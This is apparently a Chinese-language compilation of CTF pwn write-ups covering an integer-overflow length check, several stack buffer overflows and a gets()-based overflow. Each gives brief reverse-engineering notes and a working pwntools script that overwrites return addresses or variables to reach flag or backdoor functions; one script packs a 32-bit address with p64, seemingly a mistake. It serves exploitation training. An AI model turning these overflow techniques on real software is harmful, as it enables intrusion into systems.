整数溢出
典型整数溢出利用
这个 v3 是一个无符号数,最大只能 255,如果超过的话就会进行 mod 255所以可以传入一个总共是 0x105 的,
这样他的得到的就是 6 是符合长度限制的,从而绕过 if 的检测dest 的大小是 0x11h,加上 ebp 的 0x4h,所以需要在前面填充 0x15h
后门程序
exp:
python2
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',29748)
p.recvuntil("name:")
payload=(0x11+0x4)*'a'+p32(0x0804858B)
payload=payload.ljust(262,'a')
p.sendline(payload)
p.interactive()
python
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',29748)
p.recvuntil("name:")
payload=(0x11+0x4)*b'a'+p32(0x0804858B)
payload=payload.ljust(262,b'a')
p.sendline(payload)
p.interactive()
CTF 3rd 2017-just_do_it
进入32位ida分析
观察到程序流程大概是将flag读取并保存到一个全局变量中,在程序最后比较输入,正确则打印正确否则打印错误。我们观察s位于[ebp-0x20]处,输入的fgets最多输入32个字符,无法覆盖到ret。但是我们发现puts所打印的参数v6位于[ebp-Ch]相距输入点s只有20字符就可以覆盖到。又由于程序将flag读取到了全局变量中,因此可以通过输入覆盖v6为flag从而打印出flag。
#!/usr/bin/python
#coding:utf-8
from pwn import *
io = process('./just_do_it')
flag_addr = 0x0804A080
payload = ''
payload += 'A'*20
payload += p64(flag_addr)
print io.recv()
io.sendline(payload)
print io.recv()
sCTF 2016 q1-pwn1
题目开启NX保护,并且为32位动态链接的ELF程序
观察变量和语句,发现可能存在溢出的地方为fgets,但是s在栈中距离ebp有3C的距离,而fgets只能输入32个字符,远远无法到达ebp或者ret。继续往下看,发现replace函数,字面意思替换,又看到you和I字符,猜想是否有可能将I替换成you字符,我们执行程序试一下
我们发现猜想正确。我们注意到函数最后有strcpy函数,他将v0即我们的输入后替换的字符串保存到s中,由于我们输入一个I实际上拷贝入s的是3个字符,3*32=96>0x3c,发生栈溢出。我们通过输入21个I另外加一个任意字符(因为21个I为21个you,即为63个字符,需要额外一个字符填充到64字符)之后加上get_flag函数的地址即覆盖函数返回值劫持成功。
#coding:utf-8
from pwn import *
io = process('./pwn1')
get_flag_addr = 0x08048f0d
payload = ''
payload += 'I'*21+'a'
payload += p32(get_flag_addr)
io.sendline(payload)
print io.recv()
EasyCTF 2017-doubly_dangerous
显然存在栈溢出漏洞存在两种思路:
- 覆盖RIP为give_flag地址,执行give_flag函数
- 覆盖v5的值为11.28125,使其通过判断执行give_flag函数
通过尝试发现,按照第一种思路会出错,无法成功返回give_flag函数
第二种思路。首先定位判断语句,应该在gets函数调用紧接着的后面
可以看到比较的变量地址分别是ebp-C
和0x0804876C
。接着就只剩下两个问题:确定用户输入与ebp-C
的偏移量以及11.28125的十六进制值
在输出nope!
的指令处下断点(断点位置合适即可
运行查看堆栈
ebp-c地址
计算出偏移值
0xffffd8ac- 0xffffd86c = 0x40 = 64
使用IDA HEX视图确定11.28125的值
浮点数使用大端方式储存,所以是0x41348000
from pwn import *
io = process('./doubly_dangerous')
floatValue = 0x41348000
payload = ''
payload += 'A'*0x40
payload += p32(floatValue)
io.recvuntil('Give me a string:')
io.sendline(payload)
io.interactive()
CTF-gets函数
丢进IDA看一下:
看到了熟悉的gets()函数,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出,再看sprint()函数
进入sub_40060D中看一下:
gdb-peda 获取偏移方式
接收参数之前输入
计算偏移
可以看到这个函数是获取flag的关键点,程序会打印出此函数的位置,即0x40060d,我们需要控制溢出位置,把返回地址改为此函数的地址,我们当前函数的返回值位于RBP+8的位置,因此溢出点可以通过计算得出:40H+8H=48H=72,因此
#!/usr/bin/python
from pwn import *
r = remote('192.168.229.128', 10001)
r.recvuntil('WOW:')
address = r.recvuntil('\n')[:-1]
payload = 'A' * 72 + p64(int(address, 16))
r.writeline(payload)
r.interactive()
from pwn import *
r = remote('192.168.229.128', 10001)
r.recvuntil('WOW:')
address = r.recvuntil('\n')[:-1]
payload = 'A' * 72 + p64(int(address, 16))
r.writeline(payload)
r.interactive()